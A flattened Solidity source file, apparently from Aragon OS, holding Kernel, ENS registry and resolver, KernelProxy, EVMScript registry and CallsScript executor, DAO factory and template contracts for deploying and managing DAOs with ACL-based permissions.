*/ constructor(bool _shouldPetrify) public { if (_shouldPetrify) { petrify(); } } /** * @dev Initialize can only be called once. It saves the block number in which it was initialized. * @notice Initialize this kernel instance along with its ACL and set `_permissionsCreator` as the entity that can create other permissions * @param _baseAcl Address of base ACL app * @param _permissionsCreator Entity that will be given permission over createPermission */ function initialize(IACL _baseAcl, address _permissionsCreator) public onlyInit { initialized(); // Set ACL base _setApp(KERNEL_APP_BASES_NAMESPACE, KERNEL_DEFAULT_ACL_APP_ID, _baseAcl); // Create ACL instance and attach it as the default ACL app IACL acl = IACL(newAppProxy(this, KERNEL_DEFAULT_ACL_APP_ID)); acl.initialize(_permissionsCreator); _setApp(KERNEL_APP_ADDR_NAMESPACE, KERNEL_DEFAULT_ACL_APP_ID, acl); recoveryVaultAppId = KERNEL_DEFAULT_VAULT_APP_ID; } /** * @dev Create a new instance of an app linked to this kernel * @notice Create a new upgradeable instance of `_appId` app linked to the Kernel, setting its code to `_appBase` * @param _appId Identifier for app * @param _appBase Address of the app's base implementation * @return AppProxy instance */ function newAppInstance(bytes32 _appId, address _appBase) public auth(APP_MANAGER_ROLE, arr(KERNEL_APP_BASES_NAMESPACE, _appId)) returns (ERCProxy appProxy) { return newAppInstance(_appId, _appBase, new bytes(0), false); } /** * @dev Create a new instance of an app linked to this kernel and set its base * implementation if it was not already set * @notice Create a new upgradeable instance of `_appId` app linked to the Kernel, setting its code to `_appBase`. `_setDefault ? 'Also sets it as the default app instance.':''` * @param _appId Identifier for app * @param _appBase Address of the app's base implementation * @param _initializePayload Payload for call made by the proxy during its construction to initialize * @param _setDefault Whether the app proxy app is the default one. * Useful when the Kernel needs to know of an instance of a particular app, * like Vault for escape hatch mechanism. * @return AppProxy instance */ function newAppInstance(bytes32 _appId, address _appBase, bytes _initializePayload, bool _setDefault) public auth(APP_MANAGER_ROLE, arr(KERNEL_APP_BASES_NAMESPACE, _appId)) returns (ERCProxy appProxy) { _setAppIfNew(KERNEL_APP_BASES_NAMESPACE, _appId, _appBase); appProxy = newAppProxy(this, _appId, _initializePayload); // By calling setApp directly and not the internal functions, we make sure the params are checked // and it will only succeed if sender has permissions to set something to the namespace. if (_setDefault) { setApp(KERNEL_APP_ADDR_NAMESPACE, _appId, appProxy); } } /** * @dev Create a new pinned instance of an app linked to this kernel * @notice Create a new non-upgradeable instance of `_appId` app linked to the Kernel, setting its code to `_appBase`. * @param _appId Identifier for app * @param _appBase Address of the app's base implementation * @return AppProxy instance */ function newPinnedAppInstance(bytes32 _appId, address _appBase) public auth(APP_MANAGER_ROLE, arr(KERNEL_APP_BASES_NAMESPACE, _appId)) returns (ERCProxy appProxy) { return newPinnedAppInstance(_appId, _appBase, new bytes(0), false); } /** * @dev Create a new pinned instance of an app linked to this kernel and set * its base implementation if it was not already set * @notice Create a new non-upgradeable instance of `_appId` app linked to the Kernel, setting its code to `_appBase`. `_setDefault ? 'Also sets it as the default app instance.':''` * @param _appId Identifier for app * @param _appBase Address of the app's base implementation * @param _initializePayload Payload for call made by the proxy during its construction to initialize * @param _setDefault Whether the app proxy app is the default one. * Useful when the Kernel needs to know of an instance of a particular app, * like Vault for escape hatch mechanism. * @return AppProxy instance */ function newPinnedAppInstance(bytes32 _appId, address _appBase, bytes _initializePayload, bool _setDefault) public auth(APP_MANAGER_ROLE, arr(KERNEL_APP_BASES_NAMESPACE, _appId)) returns (ERCProxy appProxy) { _setAppIfNew(KERNEL_APP_BASES_NAMESPACE, _appId, _appBase); appProxy = newAppProxyPinned(this, _appId, _initializePayload); // By calling setApp directly and not the internal functions, we make sure the params are checked // and it will only succeed if sender has permissions to set something to the namespace. if (_setDefault) { setApp(KERNEL_APP_ADDR_NAMESPACE, _appId, appProxy); } } /** * @dev Set the resolving address of an app instance or base implementation * @notice Set the resolving address of `_appId` in namespace `_namespace` to `_app` * @param _namespace App namespace to use * @param _appId Identifier for app * @param _app Address of the app instance or base implementation * @return ID of app */ function setApp(bytes32 _namespace, bytes32 _appId, address _app) public auth(APP_MANAGER_ROLE, arr(_namespace, _appId)) { _setApp(_namespace, _appId, _app); } /** * @dev Set the default vault id for the escape hatch mechanism * @param _recoveryVaultAppId Identifier of the recovery vault app */ function setRecoveryVaultAppId(bytes32 _recoveryVaultAppId) public auth(APP_MANAGER_ROLE, arr(KERNEL_APP_ADDR_NAMESPACE, _recoveryVaultAppId)) { recoveryVaultAppId = _recoveryVaultAppId; } // External access to default app id and namespace constants to mimic default getters for constants /* solium-disable function-order, mixedcase */ function CORE_NAMESPACE() external pure returns (bytes32) { return KERNEL_CORE_NAMESPACE; } function APP_BASES_NAMESPACE() external pure returns (bytes32) { return KERNEL_APP_BASES_NAMESPACE; } function APP_ADDR_NAMESPACE() external pure returns (bytes32) { return KERNEL_APP_ADDR_NAMESPACE; } function KERNEL_APP_ID() external pure returns (bytes32) { return KERNEL_CORE_APP_ID; } function DEFAULT_ACL_APP_ID() external pure returns (bytes32) { return KERNEL_DEFAULT_ACL_APP_ID; } /* solium-enable function-order, mixedcase */ /** * @dev Get the address of an app instance or base implementation * @param _namespace App namespace to use * @param _appId Identifier for app * @return Address of the app */ function getApp(bytes32 _namespace, bytes32 _appId) public view returns (address) { return apps[_namespace][_appId]; } /** * @dev Get the address of the recovery Vault instance (to recover funds) * @return Address of the Vault */ function getRecoveryVault() public view returns (address) { return apps[KERNEL_APP_ADDR_NAMESPACE][recoveryVaultAppId]; } /** * @dev Get the installed ACL app * @return ACL app */ function acl() public view returns (IACL) { return IACL(getApp(KERNEL_APP_ADDR_NAMESPACE, KERNEL_DEFAULT_ACL_APP_ID)); } /** * @dev Function called by apps to check ACL on kernel or to check permission status * @param _who Sender of the original call * @param _where Address of the app * @param _what Identifier for a group of actions in app * @param _how Extra data for ACL auth * @return Boolean indicating whether the ACL allows the role or not. * Always returns false if the kernel hasn't been initialized yet. */ function hasPermission(address _who, address _where, bytes32 _what, bytes _how) public view returns (bool) { IACL defaultAcl = acl(); return address(defaultAcl) != address(0) && // Poor man's initialization check (saves gas) defaultAcl.hasPermission(_who, _where, _what, _how); } function _setApp(bytes32 _namespace, bytes32 _appId, address _app) internal { require(isContract(_app), ERROR_APP_NOT_CONTRACT); apps[_namespace][_appId] = _app; emit SetApp(_namespace, _appId, _app); } function _setAppIfNew(bytes32 _namespace, bytes32 _appId, address _app) internal { address app = getApp(_namespace, _appId); if (app != address(0)) { // The only way to set an app is if it passes the isContract check, so no need to check it again require(app == _app, ERROR_INVALID_APP_CHANGE); } else { _setApp(_namespace, _appId, _app); } } modifier auth(bytes32 _role, uint256[] memory _params) { require( hasPermission(msg.sender, address(this), _role, ConversionHelpers.dangerouslyCastUintArrayToBytes(_params)), ERROR_AUTH_FAILED ); _; } } // File: @aragon/os/contracts/lib/ens/AbstractENS.sol // See https://github.com/ensdomains/ens/blob/7e377df83f/contracts/AbstractENS.sol pragma solidity ^0.4.15; interface AbstractENS { function owner(bytes32 _node) public constant returns (address); function resolver(bytes32 _node) public constant returns (address); function ttl(bytes32 _node) public constant returns (uint64); function setOwner(bytes32 _node, address _owner) public; function setSubnodeOwner(bytes32 _node, bytes32 label, address _owner) public; function setResolver(bytes32 _node, address _resolver) public; function setTTL(bytes32 _node, uint64 _ttl) public; // Logged when the owner of a node assigns a new owner to a subnode. event NewOwner(bytes32 indexed _node, bytes32 indexed _label, address _owner); // Logged when the owner of a node transfers ownership to a new account. event Transfer(bytes32 indexed _node, address _owner); // Logged when the resolver for a node changes. event NewResolver(bytes32 indexed _node, address _resolver); // Logged when the TTL of a node changes event NewTTL(bytes32 indexed _node, uint64 _ttl); } // File: @aragon/os/contracts/lib/ens/ENS.sol // See https://github.com/ensdomains/ens/blob/7e377df83f/contracts/ENS.sol pragma solidity ^0.4.0; /** * The ENS registry contract. */ contract ENS is AbstractENS { struct Record { address owner; address resolver; uint64 ttl; } mapping(bytes32=>Record) records; // Permits modifications only by the owner of the specified node. modifier only_owner(bytes32 node) { if (records[node].owner != msg.sender) throw; _; } /** * Constructs a new ENS registrar. */ function ENS() public { records[0].owner = msg.sender; } /** * Returns the address that owns the specified node. */ function owner(bytes32 node) public constant returns (address) { return records[node].owner; } /** * Returns the address of the resolver for the specified node. */ function resolver(bytes32 node) public constant returns (address) { return records[node].resolver; } /** * Returns the TTL of a node, and any records associated with it. */ function ttl(bytes32 node) public constant returns (uint64) { return records[node].ttl; } /** * Transfers ownership of a node to a new address. May only be called by the current * owner of the node. * @param node The node to transfer ownership of. * @param owner The address of the new owner. */ function setOwner(bytes32 node, address owner) only_owner(node) public { Transfer(node, owner); records[node].owner = owner; } /** * Transfers ownership of a subnode keccak256(node, label) to a new address. May only be * called by the owner of the parent node. * @param node The parent node. * @param label The hash of the label specifying the subnode. * @param owner The address of the new owner. */ function setSubnodeOwner(bytes32 node, bytes32 label, address owner) only_owner(node) public { var subnode = keccak256(node, label); NewOwner(node, label, owner); records[subnode].owner = owner; } /** * Sets the resolver address for the specified node. * @param node The node to update. * @param resolver The address of the resolver. */ function setResolver(bytes32 node, address resolver) only_owner(node) public { NewResolver(node, resolver); records[node].resolver = resolver; } /** * Sets the TTL for the specified node. * @param node The node to update. * @param ttl The TTL in seconds. */ function setTTL(bytes32 node, uint64 ttl) only_owner(node) public { NewTTL(node, ttl); records[node].ttl = ttl; } } // File: @aragon/os/contracts/lib/ens/PublicResolver.sol // See https://github.com/ensdomains/ens/blob/7e377df83f/contracts/PublicResolver.sol pragma solidity ^0.4.0; /** * A simple resolver anyone can use; only allows the owner of a node to set its * address. */ contract PublicResolver { bytes4 constant INTERFACE_META_ID = 0x01ffc9a7; bytes4 constant ADDR_INTERFACE_ID = 0x3b3b57de; bytes4 constant CONTENT_INTERFACE_ID = 0xd8389dc5; bytes4 constant NAME_INTERFACE_ID = 0x691f3431; bytes4 constant ABI_INTERFACE_ID = 0x2203ab56; bytes4 constant PUBKEY_INTERFACE_ID = 0xc8690233; bytes4 constant TEXT_INTERFACE_ID = 0x59d1d43c; event AddrChanged(bytes32 indexed node, address a); event ContentChanged(bytes32 indexed node, bytes32 hash); event NameChanged(bytes32 indexed node, string name); event ABIChanged(bytes32 indexed node, uint256 indexed contentType); event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y); event TextChanged(bytes32 indexed node, string indexed indexedKey, string key); struct PublicKey { bytes32 x; bytes32 y; } struct Record { address addr; bytes32 content; string name; PublicKey pubkey; mapping(string=>string) text; mapping(uint256=>bytes) abis; } AbstractENS ens; mapping(bytes32=>Record) records; modifier only_owner(bytes32 node) { if (ens.owner(node) != msg.sender) throw; _; } /** * Constructor. * @param ensAddr The ENS registrar contract. */ function PublicResolver(AbstractENS ensAddr) public { ens = ensAddr; } /** * Returns true if the resolver implements the interface specified by the provided hash. * @param interfaceID The ID of the interface to check for. * @return True if the contract implements the requested interface. */ function supportsInterface(bytes4 interfaceID) public pure returns (bool) { return interfaceID == ADDR_INTERFACE_ID || interfaceID == CONTENT_INTERFACE_ID || interfaceID == NAME_INTERFACE_ID || interfaceID == ABI_INTERFACE_ID || interfaceID == PUBKEY_INTERFACE_ID || interfaceID == TEXT_INTERFACE_ID || interfaceID == INTERFACE_META_ID; } /** * Returns the address associated with an ENS node. * @param node The ENS node to query. * @return The associated address. */ function addr(bytes32 node) public constant returns (address ret) { ret = records[node].addr; } /** * Sets the address associated with an ENS node. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param addr The address to set. */ function setAddr(bytes32 node, address addr) only_owner(node) public { records[node].addr = addr; AddrChanged(node, addr); } /** * Returns the content hash associated with an ENS node. * Note that this resource type is not standardized, and will likely change * in future to a resource type based on multihash. * @param node The ENS node to query. * @return The associated content hash. */ function content(bytes32 node) public constant returns (bytes32 ret) { ret = records[node].content; } /** * Sets the content hash associated with an ENS node. * May only be called by the owner of that node in the ENS registry. * Note that this resource type is not standardized, and will likely change * in future to a resource type based on multihash. * @param node The node to update. * @param hash The content hash to set */ function setContent(bytes32 node, bytes32 hash) only_owner(node) public { records[node].content = hash; ContentChanged(node, hash); } /** * Returns the name associated with an ENS node, for reverse records. * Defined in EIP181. * @param node The ENS node to query. * @return The associated name. */ function name(bytes32 node) public constant returns (string ret) { ret = records[node].name; } /** * Sets the name associated with an ENS node, for reverse records. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param name The name to set. */ function setName(bytes32 node, string name) only_owner(node) public { records[node].name = name; NameChanged(node, name); } /** * Returns the ABI associated with an ENS node. * Defined in EIP205. * @param node The ENS node to query * @param contentTypes A bitwise OR of the ABI formats accepted by the caller. * @return contentType The content type of the return value * @return data The ABI data */ function ABI(bytes32 node, uint256 contentTypes) public constant returns (uint256 contentType, bytes data) { var record = records[node]; for(contentType = 1; contentType <= contentTypes; contentType <<= 1) { if ((contentType & contentTypes) != 0 && record.abis[contentType].length > 0) { data = record.abis[contentType]; return; } } contentType = 0; } /** * Sets the ABI associated with an ENS node. * Nodes may have one ABI of each content type. To remove an ABI, set it to * the empty string. * @param node The node to update. * @param contentType The content type of the ABI * @param data The ABI data. */ function setABI(bytes32 node, uint256 contentType, bytes data) only_owner(node) public { // Content types must be powers of 2 if (((contentType - 1) & contentType) != 0) throw; records[node].abis[contentType] = data; ABIChanged(node, contentType); } /** * Returns the SECP256k1 public key associated with an ENS node. * Defined in EIP 619. * @param node The ENS node to query * @return x, y the X and Y coordinates of the curve point for the public key. */ function pubkey(bytes32 node) public constant returns (bytes32 x, bytes32 y) { return (records[node].pubkey.x, records[node].pubkey.y); } /** * Sets the SECP256k1 public key associated with an ENS node. * @param node The ENS node to query * @param x the X coordinate of the curve point for the public key. * @param y the Y coordinate of the curve point for the public key. */ function setPubkey(bytes32 node, bytes32 x, bytes32 y) only_owner(node) public { records[node].pubkey = PublicKey(x, y); PubkeyChanged(node, x, y); } /** * Returns the text data associated with an ENS node and key. * @param node The ENS node to query. * @param key The text data key to query. * @return The associated text data. */ function text(bytes32 node, string key) public constant returns (string ret) { ret = records[node].text[key]; } /** * Sets the text data associated with an ENS node and key. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param key The key to set. * @param value The text data value to set. */ function setText(bytes32 node, string key, string value) only_owner(node) public { records[node].text[key] = value; TextChanged(node, key, key); } } // File: @aragon/os/contracts/kernel/KernelProxy.sol pragma solidity 0.4.24; contract KernelProxy is IKernelEvents, KernelStorage, KernelAppIds, KernelNamespaceConstants, IsContract, DepositableDelegateProxy { /** * @dev KernelProxy is a proxy contract to a kernel implementation. The implementation * can update the reference, which effectively upgrades the contract * @param _kernelImpl Address of the contract used as implementation for kernel */ constructor(IKernel _kernelImpl) public { require(isContract(address(_kernelImpl))); apps[KERNEL_CORE_NAMESPACE][KERNEL_CORE_APP_ID] = _kernelImpl; // Note that emitting this event is important for verifying that a KernelProxy instance // was never upgraded to a malicious Kernel logic contract over its lifespan. // This starts the "chain of trust", that can be followed through later SetApp() events // emitted during kernel upgrades. emit SetApp(KERNEL_CORE_NAMESPACE, KERNEL_CORE_APP_ID, _kernelImpl); } /** * @dev ERC897, whether it is a forwarding (1) or an upgradeable (2) proxy */ function proxyType() public pure returns (uint256 proxyTypeId) { return UPGRADEABLE; } /** * @dev ERC897, the address the proxy would delegate calls to */ function implementation() public view returns (address) { return apps[KERNEL_CORE_NAMESPACE][KERNEL_CORE_APP_ID]; } } // File: @aragon/os/contracts/evmscript/ScriptHelpers.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; library ScriptHelpers { function getSpecId(bytes _script) internal pure returns (uint32) { return uint32At(_script, 0); } function uint256At(bytes _data, uint256 _location) internal pure returns (uint256 result) { assembly { result := mload(add(_data, add(0x20, _location))) } } function addressAt(bytes _data, uint256 _location) internal pure returns (address result) { uint256 word = uint256At(_data, _location); assembly { result := div(and(word, 0xffffffffffffffffffffffffffffffffffffffff000000000000000000000000), 0x1000000000000000000000000) } } function uint32At(bytes _data, uint256 _location) internal pure returns (uint32 result) { uint256 word = uint256At(_data, _location); assembly { result := div(and(word, 0xffffffff00000000000000000000000000000000000000000000000000000000), 0x100000000000000000000000000000000000000000000000000000000) } } function locationOf(bytes _data, uint256 _location) internal pure returns (uint256 result) { assembly { result := add(_data, add(0x20, _location)) } } function toBytes(bytes4 _sig) internal pure returns (bytes) { bytes memory payload = new bytes(4); assembly { mstore(add(payload, 0x20), _sig) } return payload; } } // File: @aragon/os/contracts/evmscript/EVMScriptRegistry.sol pragma solidity 0.4.24; /* solium-disable function-order */ // Allow public initialize() to be first contract EVMScriptRegistry is IEVMScriptRegistry, EVMScriptRegistryConstants, AragonApp { using ScriptHelpers for bytes; /* Hardcoded constants to save gas bytes32 public constant REGISTRY_ADD_EXECUTOR_ROLE = keccak256("REGISTRY_ADD_EXECUTOR_ROLE"); bytes32 public constant REGISTRY_MANAGER_ROLE = keccak256("REGISTRY_MANAGER_ROLE"); */ bytes32 public constant REGISTRY_ADD_EXECUTOR_ROLE = 0xc4e90f38eea8c4212a009ca7b8947943ba4d4a58d19b683417f65291d1cd9ed2; // WARN: Manager can censor all votes and the like happening in an org bytes32 public constant REGISTRY_MANAGER_ROLE = 0xf7a450ef335e1892cb42c8ca72e7242359d7711924b75db5717410da3f614aa3; uint256 internal constant SCRIPT_START_LOCATION = 4; string private constant ERROR_INEXISTENT_EXECUTOR = "EVMREG_INEXISTENT_EXECUTOR"; string private constant ERROR_EXECUTOR_ENABLED = "EVMREG_EXECUTOR_ENABLED"; string private constant ERROR_EXECUTOR_DISABLED = "EVMREG_EXECUTOR_DISABLED"; string private constant ERROR_SCRIPT_LENGTH_TOO_SHORT = "EVMREG_SCRIPT_LENGTH_TOO_SHORT"; struct ExecutorEntry { IEVMScriptExecutor executor; bool enabled; } uint256 private executorsNextIndex; mapping (uint256 => ExecutorEntry) public executors; event EnableExecutor(uint256 indexed executorId, address indexed executorAddress); event DisableExecutor(uint256 indexed executorId, address indexed executorAddress); modifier executorExists(uint256 _executorId) { require(_executorId > 0 && _executorId < executorsNextIndex, ERROR_INEXISTENT_EXECUTOR); _; } /** * @notice Initialize the registry */ function initialize() public onlyInit { initialized(); // Create empty record to begin executor IDs at 1 executorsNextIndex = 1; } /** * @notice Add a new script executor with address `_executor` to the registry * @param _executor Address of the IEVMScriptExecutor that will be added to the registry * @return id Identifier of the executor in the registry */ function addScriptExecutor(IEVMScriptExecutor _executor) external auth(REGISTRY_ADD_EXECUTOR_ROLE) returns (uint256 id) { uint256 executorId = executorsNextIndex++; executors[executorId] = ExecutorEntry(_executor, true); emit EnableExecutor(executorId, _executor); return executorId; } /** * @notice Disable script executor with ID `_executorId` * @param _executorId Identifier of the executor in the registry */ function disableScriptExecutor(uint256 _executorId) external authP(REGISTRY_MANAGER_ROLE, arr(_executorId)) { // Note that we don't need to check for an executor's existence in this case, as only // existing executors can be enabled ExecutorEntry storage executorEntry = executors[_executorId]; require(executorEntry.enabled, ERROR_EXECUTOR_DISABLED); executorEntry.enabled = false; emit DisableExecutor(_executorId, executorEntry.executor); } /** * @notice Enable script executor with ID `_executorId` * @param _executorId Identifier of the executor in the registry */ function enableScriptExecutor(uint256 _executorId) external authP(REGISTRY_MANAGER_ROLE, arr(_executorId)) executorExists(_executorId) { ExecutorEntry storage executorEntry = executors[_executorId]; require(!executorEntry.enabled, ERROR_EXECUTOR_ENABLED); executorEntry.enabled = true; emit EnableExecutor(_executorId, executorEntry.executor); } /** * @dev Get the script executor that can execute a particular script based on its first 4 bytes * @param _script EVMScript being inspected */ function getScriptExecutor(bytes _script) public view returns (IEVMScriptExecutor) { require(_script.length >= SCRIPT_START_LOCATION, ERROR_SCRIPT_LENGTH_TOO_SHORT); uint256 id = _script.getSpecId(); // Note that we don't need to check for an executor's existence in this case, as only // existing executors can be enabled ExecutorEntry storage entry = executors[id]; return entry.enabled ? entry.executor : IEVMScriptExecutor(0); } } // File: @aragon/os/contracts/evmscript/executors/BaseEVMScriptExecutor.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract BaseEVMScriptExecutor is IEVMScriptExecutor, Autopetrified { uint256 internal constant SCRIPT_START_LOCATION = 4; } // File: @aragon/os/contracts/evmscript/executors/CallsScript.sol pragma solidity 0.4.24; // Inspired by https://github.com/reverendus/tx-manager contract CallsScript is BaseEVMScriptExecutor { using ScriptHelpers for bytes; /* Hardcoded constants to save gas bytes32 internal constant EXECUTOR_TYPE = keccak256("CALLS_SCRIPT"); */ bytes32 internal constant EXECUTOR_TYPE = 0x2dc858a00f3e417be1394b87c07158e989ec681ce8cc68a9093680ac1a870302; string private constant ERROR_BLACKLISTED_CALL = "EVMCALLS_BLACKLISTED_CALL"; string private constant ERROR_INVALID_LENGTH = "EVMCALLS_INVALID_LENGTH"; /* This is manually crafted in assembly string private constant ERROR_CALL_REVERTED = "EVMCALLS_CALL_REVERTED"; */ event LogScriptCall(address indexed sender, address indexed src, address indexed dst); /** * @notice Executes a number of call scripts * @param _script [ specId (uint32) ] many calls with this structure -> * [ to (address: 20 bytes) ] [ calldataLength (uint32: 4 bytes) ] [ calldata (calldataLength bytes) ] * @param _blacklist Addresses the script cannot call to, or will revert. * @return Always returns empty byte array */ function execScript(bytes _script, bytes, address[] _blacklist) external isInitialized returns (bytes) { uint256 location = SCRIPT_START_LOCATION; // first 32 bits are spec id while (location < _script.length) { // Check there's at least address + calldataLength available require(_script.length - location >= 0x18, ERROR_INVALID_LENGTH); address contractAddress = _script.addressAt(location); // Check address being called is not blacklist for (uint256 i = 0; i < _blacklist.length; i++) { require(contractAddress != _blacklist[i], ERROR_BLACKLISTED_CALL); } // logged before execution to ensure event ordering in receipt // if failed entire execution is reverted regardless emit LogScriptCall(msg.sender, address(this), contractAddress); uint256 calldataLength = uint256(_script.uint32At(location + 0x14)); uint256 startOffset = location + 0x14 + 0x04; uint256 calldataStart = _script.locationOf(startOffset); // compute end of script / next location location = startOffset + calldataLength; require(location <= _script.length, ERROR_INVALID_LENGTH); bool success; assembly { success := call( sub(gas, 5000), // forward gas left - 5000 contractAddress, // address 0, // no value calldataStart, // calldata start calldataLength, // calldata length 0, // don't write output 0 // don't write output ) switch success case 0 { let ptr := mload(0x40) switch returndatasize case 0 { // No error data was returned, revert with "EVMCALLS_CALL_REVERTED" // See remix: doing a `revert("EVMCALLS_CALL_REVERTED")` always results in // this memory layout mstore(ptr, 0x08c379a000000000000000000000000000000000000000000000000000000000) // error identifier mstore(add(ptr, 0x04), 0x0000000000000000000000000000000000000000000000000000000000000020) // starting offset mstore(add(ptr, 0x24), 0x0000000000000000000000000000000000000000000000000000000000000016) // reason length mstore(add(ptr, 0x44), 0x45564d43414c4c535f43414c4c5f524556455254454400000000000000000000) // reason revert(ptr, 100) // 100 = 4 + 3 * 32 (error identifier + 3 words for the ABI encoded error) } default { // Forward the full error data returndatacopy(ptr, 0, returndatasize) revert(ptr, returndatasize) } } default { } } } // No need to allocate empty bytes for the return as this can only be called via an delegatecall // (due to the isInitialized modifier) } function executorType() external pure returns (bytes32) { return EXECUTOR_TYPE; } } // File: @aragon/os/contracts/factory/EVMScriptRegistryFactory.sol pragma solidity 0.4.24; contract EVMScriptRegistryFactory is EVMScriptRegistryConstants { EVMScriptRegistry public baseReg; IEVMScriptExecutor public baseCallScript; /** * @notice Create a new EVMScriptRegistryFactory. */ constructor() public { baseReg = new EVMScriptRegistry(); baseCallScript = IEVMScriptExecutor(new CallsScript()); } /** * @notice Install a new pinned instance of EVMScriptRegistry on `_dao`. * @param _dao Kernel * @return Installed EVMScriptRegistry */ function newEVMScriptRegistry(Kernel _dao) public returns (EVMScriptRegistry reg) { bytes memory initPayload = abi.encodeWithSelector(reg.initialize.selector); reg = EVMScriptRegistry(_dao.newPinnedAppInstance(EVMSCRIPT_REGISTRY_APP_ID, baseReg, initPayload, true)); ACL acl = ACL(_dao.acl()); acl.createPermission(this, reg, reg.REGISTRY_ADD_EXECUTOR_ROLE(), this); reg.addScriptExecutor(baseCallScript); // spec 1 = CallsScript // Clean up the permissions acl.revokePermission(this, reg, reg.REGISTRY_ADD_EXECUTOR_ROLE()); acl.removePermissionManager(reg, reg.REGISTRY_ADD_EXECUTOR_ROLE()); return reg; } } // File: @aragon/os/contracts/factory/DAOFactory.sol pragma solidity 0.4.24; contract DAOFactory { IKernel public baseKernel; IACL public baseACL; EVMScriptRegistryFactory public regFactory; event DeployDAO(address dao); event DeployEVMScriptRegistry(address reg); /** * @notice Create a new DAOFactory, creating DAOs with Kernels proxied to `_baseKernel`, ACLs proxied to `_baseACL`, and new EVMScriptRegistries created from `_regFactory`. * @param _baseKernel Base Kernel * @param _baseACL Base ACL * @param _regFactory EVMScriptRegistry factory */ constructor(IKernel _baseKernel, IACL _baseACL, EVMScriptRegistryFactory _regFactory) public { // No need to init as it cannot be killed by devops199 if (address(_regFactory) != address(0)) { regFactory = _regFactory; } baseKernel = _baseKernel; baseACL = _baseACL; } /** * @notice Create a new DAO with `_root` set as the initial admin * @param _root Address that will be granted control to setup DAO permissions * @return Newly created DAO */ function newDAO(address _root) public returns (Kernel) { Kernel dao = Kernel(new KernelProxy(baseKernel)); if (address(regFactory) == address(0)) { dao.initialize(baseACL, _root); } else { dao.initialize(baseACL, this); ACL acl = ACL(dao.acl()); bytes32 permRole = acl.CREATE_PERMISSIONS_ROLE(); bytes32 appManagerRole = dao.APP_MANAGER_ROLE(); acl.grantPermission(regFactory, acl, permRole); acl.createPermission(regFactory, dao, appManagerRole, this); EVMScriptRegistry reg = regFactory.newEVMScriptRegistry(dao); emit DeployEVMScriptRegistry(address(reg)); // Clean up permissions // First, completely reset the APP_MANAGER_ROLE acl.revokePermission(regFactory, dao, appManagerRole); acl.removePermissionManager(dao, appManagerRole); // Then, make root the only holder and manager of CREATE_PERMISSIONS_ROLE acl.revokePermission(regFactory, acl, permRole); acl.revokePermission(this, acl, permRole); acl.grantPermission(_root, acl, permRole); acl.setPermissionManager(_root, acl, permRole); } emit DeployDAO(address(dao)); return dao; } } // File: @aragon/id/contracts/ens/IPublicResolver.sol pragma solidity ^0.4.0; interface IPublicResolver { function supportsInterface(bytes4 interfaceID) constant returns (bool); function addr(bytes32 node) constant returns (address ret); function setAddr(bytes32 node, address addr); function hash(bytes32 node) constant returns (bytes32 ret); function setHash(bytes32 node, bytes32 hash); } // File: @aragon/id/contracts/IFIFSResolvingRegistrar.sol pragma solidity 0.4.24; interface IFIFSResolvingRegistrar { function register(bytes32 _subnode, address _owner) external; function registerWithResolver(bytes32 _subnode, address _owner, IPublicResolver _resolver) public; } // File: @aragon/templates-shared/contracts/BaseTemplate.sol pragma solidity 0.4.24; contract BaseTemplate is APMNamehash, IsContract { using Uint256Helpers for uint256; /* Hardcoded constant to save gas * bytes32 constant internal AGENT_APP_ID = apmNamehash("agent"); // agent.aragonpm.eth * bytes32 constant internal VAULT_APP_ID = apmNamehash("vault"); // vault.aragonpm.eth * bytes32 constant internal VOTING_APP_ID = apmNamehash("voting"); // voting.aragonpm.eth * bytes32 constant internal SURVEY_APP_ID = apmNamehash("survey"); // survey.aragonpm.eth * bytes32 constant internal PAYROLL_APP_ID = apmNamehash("payroll"); // payroll.aragonpm.eth * bytes32 constant internal FINANCE_APP_ID = apmNamehash("finance"); // finance.aragonpm.eth * bytes32 constant internal TOKEN_MANAGER_APP_ID = apmNamehash("token-manager"); // token-manager.aragonpm.eth */ bytes32 constant internal AGENT_APP_ID = 0x9ac98dc5f995bf0211ed589ef022719d1487e5cb2bab505676f0d084c07cf89a; bytes32 constant internal VAULT_APP_ID = 0x7e852e0fcfce6551c13800f1e7476f982525c2b5277ba14b24339c68416336d1; bytes32 constant internal VOTING_APP_ID = 0x9fa3927f639745e587912d4b0fea7ef9013bf93fb907d29faeab57417ba6e1d4; bytes32 constant internal PAYROLL_APP_ID = 0x463f596a96d808cb28b5d080181e4a398bc793df2c222f6445189eb801001991; bytes32 constant internal FINANCE_APP_ID = 0xbf8491150dafc5dcaee5b861414dca922de09ccffa344964ae167212e8c673ae; bytes32 constant internal TOKEN_MANAGER_APP_ID = 0x6b20a3010614eeebf2138ccec99f028a61c811b3b1a3343b6ff635985c75c91f; bytes32 constant internal SURVEY_APP_ID = 0x030b2ab880b88e228f2da5a3d19a2a31bc10dbf91fb1143776a6de489389471e; string constant private ERROR_ENS_NOT_CONTRACT = "TEMPLATE_ENS_NOT_CONTRACT"; string constant private ERROR_DAO_FACTORY_NOT_CONTRACT = "TEMPLATE_DAO_FAC_NOT_CONTRACT"; string constant private ERROR_ARAGON_ID_NOT_PROVIDED = "TEMPLATE_ARAGON_ID_NOT_PROVIDED"; string constant private ERROR_ARAGON_ID_NOT_CONTRACT = "TEMPLATE_ARAGON_ID_NOT_CONTRACT"; string constant private ERROR_MINIME_FACTORY_NOT_PROVIDED = "TEMPLATE_MINIME_FAC_NOT_PROVIDED"; string constant private ERROR_MINIME_FACTORY_NOT_CONTRACT = "TEMPLATE_MINIME_FAC_NOT_CONTRACT"; string constant private ERROR_CANNOT_CAST_VALUE_TO_ADDRESS = "TEMPLATE_CANNOT_CAST_VALUE_TO_ADDRESS"; string constant private ERROR_INVALID_ID = "TEMPLATE_INVALID_ID"; ENS internal ens; DAOFactory internal daoFactory; MiniMeTokenFactory internal miniMeFactory; IFIFSResolvingRegistrar internal aragonID; event DeployDao(address dao); event SetupDao(address dao); event DeployToken(address token); event InstalledApp(address appProxy, bytes32 appId); constructor(DAOFactory _daoFactory, ENS _ens, MiniMeTokenFactory _miniMeFactory, IFIFSResolvingRegistrar _aragonID) public { require(isContract(address(_ens)), ERROR_ENS_NOT_CONTRACT); require(isContract(address(_daoFactory)), ERROR_DAO_FACTORY_NOT_CONTRACT); ens = _ens; aragonID = _aragonID; daoFactory = _daoFactory; miniMeFactory = _miniMeFactory; } 